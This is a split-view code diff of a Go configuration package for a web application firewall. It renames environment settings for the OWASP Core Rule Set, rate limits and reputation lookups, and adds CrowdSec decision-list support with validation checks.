ListenAddr: env.address("SWW_WAF_LISTEN_ADDR"), ListenAddr: env.address("SWW_WAF_LISTEN_ADDR"),
InstanceName: env.instanceName(), InstanceName: env.instanceName(),
Observe: env.observe("SWW_WAF_MODE", "enforce"), Observe: env.observe("SWW_WAF_MODE", "enforce"),
@@ -539,15 +545,15 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
), ),
BytesLimitPerHour: env.size("SWW_WAF_BYTES_LIMIT_PER_HOUR", "50G"), BytesLimitPerHour: env.size("SWW_WAF_BYTES_LIMIT_PER_HOUR", "50G"),
BytesLimitPerDay: env.size("SWW_WAF_BYTES_LIMIT_PER_DAY", "100G"), BytesLimitPerDay: env.size("SWW_WAF_BYTES_LIMIT_PER_DAY", "100G"),
BytesCounted: env.bytesCounted("SWW_WAF_BYTES_COUNTED", "both"), BytesCount: env.bytesCount("SWW_WAF_BYTES_COUNT", "both"),
LookupSource: env.lookupSource( LookupSource: env.lookupSource(
"SWW_WAF_LOOKUP_SOURCE", "SWW_WAF_LOOKUP_SOURCE",
"geojs", "geojs",
), ),
LookupDBPath: env.value("SWW_WAF_LOOKUP_DB_PATH", ""), LookupDBPath: env.value("SWW_WAF_LOOKUP_DB_PATH", ""),
ASNAndCountryLookupTimeout: env.milliseconds( LookupTimeout: env.durationNotOff(
"SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS", "SWW_WAF_LOOKUP_TIMEOUT",
"800", "800ms",
), ),
AddLookupHeaders: env.boolean("SWW_WAF_ADD_LOOKUP_HEADERS", "false"), AddLookupHeaders: env.boolean("SWW_WAF_ADD_LOOKUP_HEADERS", "false"),
ExclusivelyAllowedCountries: env.countries( ExclusivelyAllowedCountries: env.countries(
@@ -556,16 +562,16 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
TagDeny: env.tags("SWW_WAF_TAG_DENY"), TagDeny: env.tags("SWW_WAF_TAG_DENY"),
TagLimitPercent: env.tagPercents("SWW_WAF_TAG_LIMIT_PERCENT"), TagLimitPercent: env.tagPercents("SWW_WAF_TAG_LIMIT_PERCENT"),
RouteWatchURL: env.routeWatchURL("SWW_WAF_ROUTEWATCH_URL"), RouteWatchURL: env.routeWatchURL("SWW_WAF_ROUTEWATCH_URL"),
ASNBytesLimitPercent: env.percents( ASNBytesPercent: env.percents(
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT", "SWW_WAF_ASN_BYTES_PERCENT",
ParseASN, ParseASN,
), ),
CountryBytesLimitPercent: env.percents( CountryBytesPercent: env.percents(
"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT", "SWW_WAF_COUNTRY_BYTES_PERCENT",
parseCountry, parseCountry,
), ),
UnknownCountryLimitPercent: env.percent( UnknownLimitPercent: env.percent(
"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT", "SWW_WAF_UNKNOWN_LIMIT_PERCENT",
"100", "100",
), ),
ASNLimitPercentURL: env.listURL("SWW_WAF_ASN_LIMIT_PERCENT_URL"), ASNLimitPercentURL: env.listURL("SWW_WAF_ASN_LIMIT_PERCENT_URL"),
@@ -579,14 +585,18 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
"SWW_WAF_ABUSEIPDB_DAILY_BUDGET", "SWW_WAF_ABUSEIPDB_DAILY_BUDGET",
"900", "900",
), ),
IPReputationCacheTTL: env.durationNotOff( ReputationCacheTTL: env.durationNotOff(
"SWW_WAF_IP_REPUTATION_CACHE_TTL", "SWW_WAF_REPUTATION_CACHE_TTL",
"24h", "24h",
), ),
DNSBLAbuseIPDBTimeout: env.milliseconds( ReputationTimeout: env.durationNotOff(
"SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS", "SWW_WAF_REPUTATION_TIMEOUT",
"2000", "2s",
), ),
CrowdSecDecisionsURL: env.crowdSecDecisionsURL(
"SWW_WAF_CROWDSEC_LAPI_URL",
),
CrowdSecKey: env.secret("SWW_WAF_CROWDSEC_LAPI_KEY"),
BanResponse: env.banResponse("SWW_WAF_BAN_RESPONSE", "403"), BanResponse: env.banResponse("SWW_WAF_BAN_RESPONSE", "403"),
LimitBanDuration: env.durationNotOff( LimitBanDuration: env.durationNotOff(
"SWW_WAF_LIMIT_BAN_DURATION", "SWW_WAF_LIMIT_BAN_DURATION",
@@ -596,8 +606,8 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW", "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW",
"24h", "24h",
), ),
LimitBanPermanentAbove: env.durationNotOff( MaxBanDuration: env.durationNotOff(
"SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE", "SWW_WAF_MAX_BAN_DURATION",
"7d", "7d",
), ),
AttackBanDuration: env.durationNotOff( AttackBanDuration: env.durationNotOff(
@@ -610,12 +620,12 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
"SWW_WAF_STATE_DIR", "SWW_WAF_STATE_DIR",
"/var/lib/sww", "/var/lib/sww",
), ),
BansWriteDelay: env.durationNotOff( StateWriteDelay: env.durationNotOff(
"SWW_WAF_BANS_WRITE_DELAY", "SWW_WAF_STATE_WRITE_DELAY",
"10s", "10s",
), ),
StateWriteInterval: env.durationNotOff( StateCounterInterval: env.durationNotOff(
"SWW_WAF_STATE_WRITE_INTERVAL", "SWW_WAF_STATE_COUNTER_INTERVAL",
"15m", "15m",
), ),
CacheDir: env.absolutePath( CacheDir: env.absolutePath(
@@ -626,62 +636,48 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
"SWW_WAF_LOG_REQUEST_HEADERS", "SWW_WAF_LOG_REQUEST_HEADERS",
"accept,accept-language,accept-encoding,content-type,origin,range", "accept,accept-language,accept-encoding,content-type,origin,range",
), ),
LogLevel: env.logLevel( LogLevel: env.logLevel("SWW_WAF_LOG_LEVEL", "info"),
"SWW_WAF_LOG_LEVEL",
"info",
),
AdminToken: env.token("SWW_WAF_ADMIN_TOKEN"), AdminToken: env.token("SWW_WAF_ADMIN_TOKEN"),
MetricsToken: env.token("SWW_WAF_METRICS_TOKEN"), MetricsToken: env.token("SWW_WAF_METRICS_TOKEN"),
MetricsBusiestCountriesAndASNs: env.numberNotOff( MetricsTopN: env.numberNotOff("SWW_WAF_METRICS_TOP_N", "50"),
"SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS", RulesDir: env.value("SWW_WAF_RULES_DIR", "/etc/sww/rules.d"),
"50", RulesEnabled: env.boolean("SWW_WAF_RULES_ENABLED", "true"),
), WAFMode: env.wafMode(
RuleFilesDir: env.value(
"SWW_WAF_RULE_FILES_DIR",
"/etc/sww/rules.d",
),
RuleFilesEnabled: env.boolean(
"SWW_WAF_RULE_FILES_ENABLED",
"true",
),
CoreRuleSetMode: env.coreRuleSetMode(
"SWW_WAF_CORE_RULE_SET_MODE", "SWW_WAF_CORE_RULE_SET_MODE",
CoreRuleSetModeBlock, WAFModeBlock,
), ),
CoreRuleSetParanoiaLevel: env.paranoiaLevel( WAFParanoiaLevel: env.paranoiaLevel(
"SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL", "SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL",
"1", "1",
), ),
CoreRuleSetScoreThreshold: env.numberOrOff( WAFAnomalyThreshold: env.numberOrOff(
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD", "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
"5", "5",
), ),
CoreRuleSetDisabledRules: env.ruleIDs( WAFDisabledRules: env.ruleIDs("SWW_WAF_CORE_RULE_SET_DISABLED_RULES",
"SWW_WAF_CORE_RULE_SET_DISABLED_RULES", "920340,920420,920440,920640,930130,930140"),
"920340,920420,920440,920640,930130,930140", WAFExemptPaths: env.pathPrefixes(
),
CoreRuleSetExemptPaths: env.pathPrefixes(
"SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS", "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS",
"", "",
), ),
CoreRuleSetBodyInspectionSize: env.coreRuleSetBodyInspectionSize( WAFBodyLimit: env.wafBodyLimit(
"SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE", "SWW_WAF_CORE_RULE_SET_BODY_LIMIT",
off, off,
), ),
CoreRuleSetExclusionsFile: env.filePath( CoreRuleSetExclusionsFile: env.filePath(
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"), "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"),
Apps: env.apps("SWW_WAF_APPS"), Apps: env.apps("SWW_WAF_APPS"),
TrapPaths: env.trapPaths("SWW_WAF_TRAP_PATHS"), TrapPaths: env.trapPaths("SWW_WAF_TRAP_PATHS"),
RefusalsLimitPerMinute: env.count( ErrorBurstThreshold: env.count(
"SWW_WAF_REFUSALS_LIMIT_PER_MINUTE", "SWW_WAF_ERROR_BURST_THRESHOLD",
"30", "30",
), ),
LogRemoteURL: env.logRemoteURL("SWW_WAF_LOG_REMOTE_URL"), LogRemoteURL: env.logRemoteURL("SWW_WAF_LOG_REMOTE_URL"),
LogRemoteTLSCAs: env.certificates( LogRemoteTLSCAs: env.certificates(
"SWW_WAF_LOG_REMOTE_TLS_CA_FILE", "SWW_WAF_LOG_REMOTE_TLS_CA_FILE",
), ),
LogRemoteBufferLines: env.numberNotOff( LogRemoteBuffer: env.numberNotOff(
"SWW_WAF_LOG_REMOTE_BUFFER_LINES", "SWW_WAF_LOG_REMOTE_BUFFER",
"10000", "10000",
), ),
LogRemoteFacility: env.facility( LogRemoteFacility: env.facility(
@@ -708,7 +704,7 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"), AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"),
AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"), AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"),
AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"), AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"),
AnomalyWatchedNet: env.thresholds("SWW_WAF_ANOMALY_WATCHED_NET_"), AnomalyWatch: env.thresholds("SWW_WAF_WATCH_"),
AnomalyNetV4Prefix: env.v4Prefix( AnomalyNetV4Prefix: env.v4Prefix(
"SWW_WAF_ANOMALY_NET_V4_PREFIX", "SWW_WAF_ANOMALY_NET_V4_PREFIX",
"24", "24",
@@ -717,22 +713,21 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
"SWW_WAF_ANOMALY_NET_V6_PREFIX", "SWW_WAF_ANOMALY_NET_V6_PREFIX",
"48", "48",
), ),
AnomalyWatchedNets: env.namedNetblocks( WatchNets: env.namedNetblocks("SWW_WAF_WATCH_NETS"),
"SWW_WAF_ANOMALY_WATCHED_NETS",
),
} }
cfg.LogRemoteAppName = env.appName("SWW_WAF_LOG_REMOTE_APP_NAME", cfg.LogRemoteAppName = env.appName("SWW_WAF_LOG_REMOTE_APP_NAME",
cfg.InstanceName, cfg.LogRemoteURL != nil) cfg.InstanceName, cfg.LogRemoteURL != nil)
cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action( cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action(
"SWW_WAF_BLOCKLIST_ACTION", "deny") "SWW_WAF_BLOCKLIST_ACTION", "deny")
cfg.DNSBLAbuseIPDBAction, cfg.DNSBLAbuseIPDBLimitPercent = env.action( cfg.ReputationAction, cfg.ReputationLimitPercent = env.action(
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION", "limit:25") "SWW_WAF_REPUTATION_ACTION", "limit:25")
env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil) env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil)
env.checkLookupDBPath(cfg) env.checkLookupDBPath(cfg)
env.checkCountriesAndLookups(cfg) env.checkCountriesAndLookups(cfg)
env.checkASNLimitPercentURL(cfg) env.checkASNLimitPercentURL(cfg)
env.checkCrowdSec(cfg)
env.checkTagLists(cfg) env.checkTagLists(cfg)
env.checkTags(cfg) env.checkTags(cfg)
@@ -746,7 +741,7 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
} }
// WAFListenAddr reads only SWW_WAF_LISTEN_ADDR, which may be given as a // WAFListenAddr reads only SWW_WAF_LISTEN_ADDR, which may be given as a
// file, as WAFFromEnvironment does. The health check in waf's container needs // file, as FromEnvironment does. The health check in waf's container needs
// no other setting, so it reads no other, nor a file that another names. // no other setting, so it reads no other, nor a file that another names.
func WAFListenAddr(v *viper.Viper) (string, error) { func WAFListenAddr(v *viper.Viper) (string, error) {
env := &environment{v: v} env := &environment{v: v}
@@ -756,18 +751,18 @@ func WAFListenAddr(v *viper.Viper) (string, error) {
} }
// InstanceName reads only SWW_WAF_INSTANCE_NAME, which may be given as a // InstanceName reads only SWW_WAF_INSTANCE_NAME, which may be given as a
// file, as WAFFromEnvironment does, so that the line saying a setting is // file, as FromEnvironment does, so that the line saying a setting is
// invalid carries it too. A file that cannot be read gives the default // invalid carries it too. A file that cannot be read gives the default
// here, and WAFFromEnvironment then stops the start over it. // here, and FromEnvironment then stops the start over it.
func InstanceName(v *viper.Viper) string { func InstanceName(v *viper.Viper) string {
env := &environment{v: v} env := &environment{v: v}
return env.instanceName() return env.instanceName()
} }
// LogValue makes a WAF log as each setting's name with the value it was // LogValue makes a Config log as each setting's name with the value it was
// given, or its default. // given, or its default.
func (c *WAF) LogValue() slog.Value { func (c *Config) LogValue() slog.Value {
return slog.GroupValue(c.settings...) return slog.GroupValue(c.settings...)
} }
@@ -800,14 +795,10 @@ func (e *environment) duration(name, defaultValue string) time.Duration {
return duration return duration
} }
// coreRuleSetBodyInspectionSize reads the setting that is the most of a // wafBodyLimit reads the setting that is the most of a request body the
// request body the Core Rule Set reads. // Core Rule Set reads.
func (e *environment) coreRuleSetBodyInspectionSize( func (e *environment) wafBodyLimit(name, defaultValue string) int64 {
name, defaultValue string, limit, err := parseWAFBodyLimit(e.value(name, defaultValue))
) int64 {
limit, err := parseCoreRuleSetBodyInspectionSize(
e.value(name, defaultValue),
)
e.check(name, err) e.check(name, err)
return limit return limit
@@ -821,12 +812,12 @@ func (e *environment) count(name, defaultValue string) int64 {
return count return count
} }
// bytesCounted reads the setting that is which body bytes count toward the // bytesCount reads the setting that is which body bytes count toward the
// byte limits and the byte anomaly thresholds: response, request or both. // byte limits: response, request or both.
func (e *environment) bytesCounted(name, defaultValue string) string { func (e *environment) bytesCount(name, defaultValue string) string {
value := e.value(name, defaultValue) value := e.value(name, defaultValue)
if value != "response" && value != "request" && value != "both" { if value != "response" && value != "request" && value != "both" {
e.check(name, fmt.Errorf("%q %w", value, errNotBytesCounted)) e.check(name, fmt.Errorf("%q %w", value, errNotBytesCount))
} }
return value return value
@@ -868,13 +859,12 @@ func (e *environment) trapPaths(name string) []string {
return paths return paths
} }
// coreRuleSetMode reads the setting that is what the Core Rule Set does: off, // wafMode reads the setting that is what the Core Rule Set does: off,
// detect or block. // detect or block.
func (e *environment) coreRuleSetMode(name, defaultValue string) string { func (e *environment) wafMode(name, defaultValue string) string {
mode := e.value(name, defaultValue) mode := e.value(name, defaultValue)
if mode != CoreRuleSetModeOff && mode != CoreRuleSetModeDetect && if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
mode != CoreRuleSetModeBlock { e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
e.check(name, fmt.Errorf("%q %w", mode, errNotCoreRuleSetMode))
} }
return mode return mode
@@ -1038,6 +1028,26 @@ func (e *environment) resolver(name string) netip.AddrPort {
return resolver return resolver
} }
// crowdSecDecisionsURL reads the setting that is the URL of the CrowdSec
// engine's local API, such as http://172.17.0.1:8080, and returns the URL
// its decision list is fetched from, that URL with v1/decisions added to
// its path, "" while it is unset or empty.
func (e *environment) crowdSecDecisionsURL(name string) string {
value := e.value(name, "")
if value == "" {
return ""
}
lapi, err := url.Parse(value)
if err != nil || !isHTTPURL(lapi) {
e.check(name, fmt.Errorf("%q %w", value, errNotLAPIURL))
return ""
}
return lapi.JoinPath("v1", "decisions").String()
}
// routeWatchURL reads the setting that is the URL of a routewatch instance, // routeWatchURL reads the setting that is the URL of a routewatch instance,
// "" while it is unset or empty. // "" while it is unset or empty.
func (e *environment) routeWatchURL(name string) string { func (e *environment) routeWatchURL(name string) string {
@@ -1068,7 +1078,7 @@ func (e *environment) lookupSource(name, defaultValue string) string {
// checkLookupDBPath refuses SWW_WAF_LOOKUP_SOURCE=file without // checkLookupDBPath refuses SWW_WAF_LOOKUP_SOURCE=file without
// SWW_WAF_LOOKUP_DB_PATH, and SWW_WAF_LOOKUP_DB_PATH with any other source: // SWW_WAF_LOOKUP_DB_PATH, and SWW_WAF_LOOKUP_DB_PATH with any other source:
// one source at a time. // one source at a time.
func (e *environment) checkLookupDBPath(cfg *WAF) { func (e *environment) checkLookupDBPath(cfg *Config) {
switch { switch {
case cfg.LookupSource == fileSource && cfg.LookupDBPath == "": case cfg.LookupSource == fileSource && cfg.LookupDBPath == "":
e.check("SWW_WAF_LOOKUP_SOURCE", fmt.Errorf( e.check("SWW_WAF_LOOKUP_SOURCE", fmt.Errorf(
@@ -1090,9 +1100,9 @@ func (e *environment) checkLookupDBPath(cfg *WAF) {
// up: the country list, SWW_WAF_ADD_LOOKUP_HEADERS, the tag settings that name // up: the country list, SWW_WAF_ADD_LOOKUP_HEADERS, the tag settings that name
// an asn= or country= tag, the biased thresholds, // an asn= or country= tag, the biased thresholds,
// SWW_WAF_ASN_LIMIT_PERCENT_URL among them, of which // SWW_WAF_ASN_LIMIT_PERCENT_URL among them, of which
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT needs them only below 100, where it lowers a // SWW_WAF_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a
// limit, and the anomaly thresholds per AS number. // limit, and the anomaly thresholds per AS number.
func (e *environment) checkCountriesAndLookups(cfg *WAF) { func (e *environment) checkCountriesAndLookups(cfg *Config) {
for _, country := range cfg.ExclusivelyAllowedCountries { for _, country := range cfg.ExclusivelyAllowedCountries {
if slices.Contains(cfg.TagDeny, CountryTagPrefix+country) { if slices.Contains(cfg.TagDeny, CountryTagPrefix+country) {
e.check("SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES", e.check("SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES",
@@ -1119,9 +1129,9 @@ func (e *environment) checkCountriesAndLookups(cfg *WAF) {
{"SWW_WAF_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)}, {"SWW_WAF_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)},
{"SWW_WAF_TAG_LIMIT_PERCENT", slices.ContainsFunc( {"SWW_WAF_TAG_LIMIT_PERCENT", slices.ContainsFunc(
slices.Collect(maps.Keys(cfg.TagLimitPercent)), onlyLookupGives)}, slices.Collect(maps.Keys(cfg.TagLimitPercent)), onlyLookupGives)},
{"SWW_WAF_ASN_BYTES_LIMIT_PERCENT", len(cfg.ASNBytesLimitPercent) > 0}, {"SWW_WAF_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0},
{"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT", len(cfg.CountryBytesLimitPercent) > 0}, {"SWW_WAF_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0},
{"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT", cfg.UnknownCountryLimitPercent < 100}, {"SWW_WAF_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100},
{"SWW_WAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""}, {"SWW_WAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""},
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0}, {"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0},
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0}, {"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0},
@@ -1140,19 +1150,46 @@ func (e *environment) checkCountriesAndLookups(cfg *WAF) {
// checkASNLimitPercentURL refuses SWW_WAF_ASN_LIMIT_PERCENT_URL naming a // checkASNLimitPercentURL refuses SWW_WAF_ASN_LIMIT_PERCENT_URL naming a
// blocklist too: the file at a URL is fetched as one list or the other. // blocklist too: the file at a URL is fetched as one list or the other.
func (e *environment) checkASNLimitPercentURL(cfg *WAF) { func (e *environment) checkASNLimitPercentURL(cfg *Config) {
if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) { if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) {
e.check("SWW_WAF_ASN_LIMIT_PERCENT_URL", e.check("SWW_WAF_ASN_LIMIT_PERCENT_URL",
fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs)) fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs))
} }
} }
// checkCrowdSec refuses SWW_WAF_CROWDSEC_LAPI_URL without
// SWW_WAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
// that is fetched as another list too.
func (e *environment) checkCrowdSec(cfg *Config) {
decisionsURL := cfg.CrowdSecDecisionsURL
switch {
case decisionsURL != "" && cfg.CrowdSecKey == "":
e.check("SWW_WAF_CROWDSEC_LAPI_URL", fmt.Errorf(
"is set while SWW_WAF_CROWDSEC_LAPI_KEY is unset; %w",
errNeedsLAPIKey,
))
case decisionsURL == "" && cfg.CrowdSecKey != "":
e.check("SWW_WAF_CROWDSEC_LAPI_KEY", fmt.Errorf(
"is set while SWW_WAF_CROWDSEC_LAPI_URL is unset; %w",
errLAPIKeyUnused,
))
case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) ||
decisionsURL == cfg.ASNLimitPercentURL):
e.check(
"SWW_WAF_CROWDSEC_LAPI_URL",
fmt.Errorf("gives the decision list %q, which %w",
decisionsURL, errAnotherList),
)
}
}
// checkTagLists refuses a list of SWW_WAF_TAG_LISTS whose URL is fetched as // checkTagLists refuses a list of SWW_WAF_TAG_LISTS whose URL is fetched as
// another list too: the file at a URL is read as one kind of list. // another list too: the file at a URL is read as one kind of list.
func (e *environment) checkTagLists(cfg *WAF) { func (e *environment) checkTagLists(cfg *Config) {
for _, list := range cfg.TagLists { for _, list := range cfg.TagLists {
if slices.Contains(cfg.BlocklistURLs, list.URL) || if slices.Contains(cfg.BlocklistURLs, list.URL) ||
list.URL == cfg.ASNLimitPercentURL { list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL {
e.check( e.check(
"SWW_WAF_TAG_LISTS", "SWW_WAF_TAG_LISTS",
fmt.Errorf("%q %w", list.URL, errFetchedOtherwise), fmt.Errorf("%q %w", list.URL, errFetchedOtherwise),
@@ -1162,8 +1199,9 @@ func (e *environment) checkTagLists(cfg *WAF) {
} }
// checkTags refuses a tag of SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT that would // checkTags refuses a tag of SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT that would
// never apply: any tag these settings cannot give a request. // never apply: crowdsec, whose request is refused before tags are acted on, and
func (e *environment) checkTags(cfg *WAF) { // any tag these settings cannot give a request.
func (e *environment) checkTags(cfg *Config) {
for _, tag := range cfg.TagDeny { for _, tag := range cfg.TagDeny {
e.check("SWW_WAF_TAG_DENY", checkTag(cfg, tag)) e.check("SWW_WAF_TAG_DENY", checkTag(cfg, tag))
} }
@@ -1174,7 +1212,11 @@ func (e *environment) checkTags(cfg *WAF) {
} }
// checkTag returns an error when tag would never apply, as checkTags says. // checkTag returns an error when tag would never apply, as checkTags says.
func checkTag(cfg *WAF, tag string) error { func checkTag(cfg *Config, tag string) error {
if tag == CrowdSecTag {
return fmt.Errorf("%q %w", tag, errCrowdSecTag)
}
if !requestCanGetTag(cfg, tag) { if !requestCanGetTag(cfg, tag) {
return fmt.Errorf("%q %w", MaskZoneKey(tag), errNoRequestGetsTag) return fmt.Errorf("%q %w", MaskZoneKey(tag), errNoRequestGetsTag)
} }
@@ -1183,17 +1225,17 @@ func checkTag(cfg *WAF, tag string) error {
} }
// requestCanGetTag reports whether anything cfg sets up can give a request tag. // requestCanGetTag reports whether anything cfg sets up can give a request tag.
func requestCanGetTag(cfg *WAF, tag string) bool { func requestCanGetTag(cfg *Config, tag string) bool {
isListName := func(list TagList) bool { return list.Name == tag } isListName := func(list TagList) bool { return list.Name == tag }
if isLookupTag(tag) || slices.ContainsFunc(cfg.TagLists, isListName) { if isLookupTag(tag) || slices.ContainsFunc(cfg.TagLists, isListName) {
return true return true
} }
if tag == ExploitSignatureTag { if tag == ExploitSignatureTag {
coreRuleSetOn := cfg.CoreRuleSetMode != CoreRuleSetModeOff && coreRuleSetOn := cfg.WAFMode != WAFModeOff &&
cfg.CoreRuleSetScoreThreshold != 0 cfg.WAFAnomalyThreshold != 0
return cfg.RuleFilesEnabled || coreRuleSetOn return cfg.RulesEnabled || coreRuleSetOn
} }
if tag == AbuseIPDBTag { if tag == AbuseIPDBTag {
@@ -1214,14 +1256,14 @@ func requestCanGetTag(cfg *WAF, tag string) bool {
// TagsNeedLookup reports whether SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT // TagsNeedLookup reports whether SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT
// names an asn= or country= tag. // names an asn= or country= tag.
func (c *WAF) TagsNeedLookup() bool { func (c *Config) TagsNeedLookup() bool {
return slices.ContainsFunc(c.TagDeny, isLookupTag) || return slices.ContainsFunc(c.TagDeny, isLookupTag) ||
tagLimitNeedsLookups(c) tagLimitNeedsLookups(c)
} }
// tagLimitNeedsLookups reports whether SWW_WAF_TAG_LIMIT_PERCENT names an asn= // tagLimitNeedsLookups reports whether SWW_WAF_TAG_LIMIT_PERCENT names an asn=
// or country= tag. // or country= tag.
func tagLimitNeedsLookups(cfg *WAF) bool { func tagLimitNeedsLookups(cfg *Config) bool {
for tag := range cfg.TagLimitPercent { for tag := range cfg.TagLimitPercent {
if isLookupTag(tag) { if isLookupTag(tag) {
return true return true
@@ -1597,10 +1639,10 @@ func durationOrDays(value string) (time.Duration, error) {
return time.Duration(n) * day, nil return time.Duration(n) * day, nil
} }
// parseCoreRuleSetBodyInspectionSize reads the most of a request body the Core Rule Set // parseWAFBodyLimit reads the most of a request body the Core Rule Set
// reads: a size as parseSize reads it, or off, but at most 64K, since waf // reads: a size as parseSize reads it, or off, but at most 64K, since waf
// gets no more of a body than that. // gets no more of a body than that.
func parseCoreRuleSetBodyInspectionSize(value string) (int64, error) { func parseWAFBodyLimit(value string) (int64, error) {
limit, err := parseSize(value) limit, err := parseSize(value)
if err != nil { if err != nil {
return 0, err return 0, err
@@ -1935,6 +1977,7 @@ const (
DNSBLTagPrefix = "dnsbl=" DNSBLTagPrefix = "dnsbl="
PrefixTagPrefix = "prefix=" PrefixTagPrefix = "prefix="
AbuseIPDBTag = "abuseipdb" AbuseIPDBTag = "abuseipdb"
CrowdSecTag = "crowdsec"
// ExploitSignatureTag is the tag of a request a rule file or the Core // ExploitSignatureTag is the tag of a request a rule file or the Core
// Rule Set matched. // Rule Set matched.
ExploitSignatureTag = "exploitsignature" ExploitSignatureTag = "exploitsignature"
internal/config/waf_test.go
+515 -422
View File
File diff suppressed because it is too large. Load diff
internal/coreruleset/coreruleset.go
+28 -30
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its // method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, with the // body while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, with the five changes sww
// five changes sww makes to it, the fixes for the apps SWW_WAF_APPS names, // makes to it, the fixes for the apps SWW_WAF_APPS names, and the exclusions in
// and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack // SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
// detection" under "Settings" in SPEC.md describes them. It reads no response. // in SPEC.md describes them. It reads no response.
// //
// sww writes only to its state directory, so Coraza is built with // sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a // its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -34,8 +34,8 @@ import (
// directives are the Core Rule Set as sww runs it, with the // directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while // paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, the exclusions file for // SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, the exclusions file for the second,
// the second, and the directives of every app in apps for the third. // and the directives of every app in apps for the third.
// Each rule sww adds has an id from 900000 to 900999, the ids the // Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which // Core Rule Set keeps for the rules that set it up, which
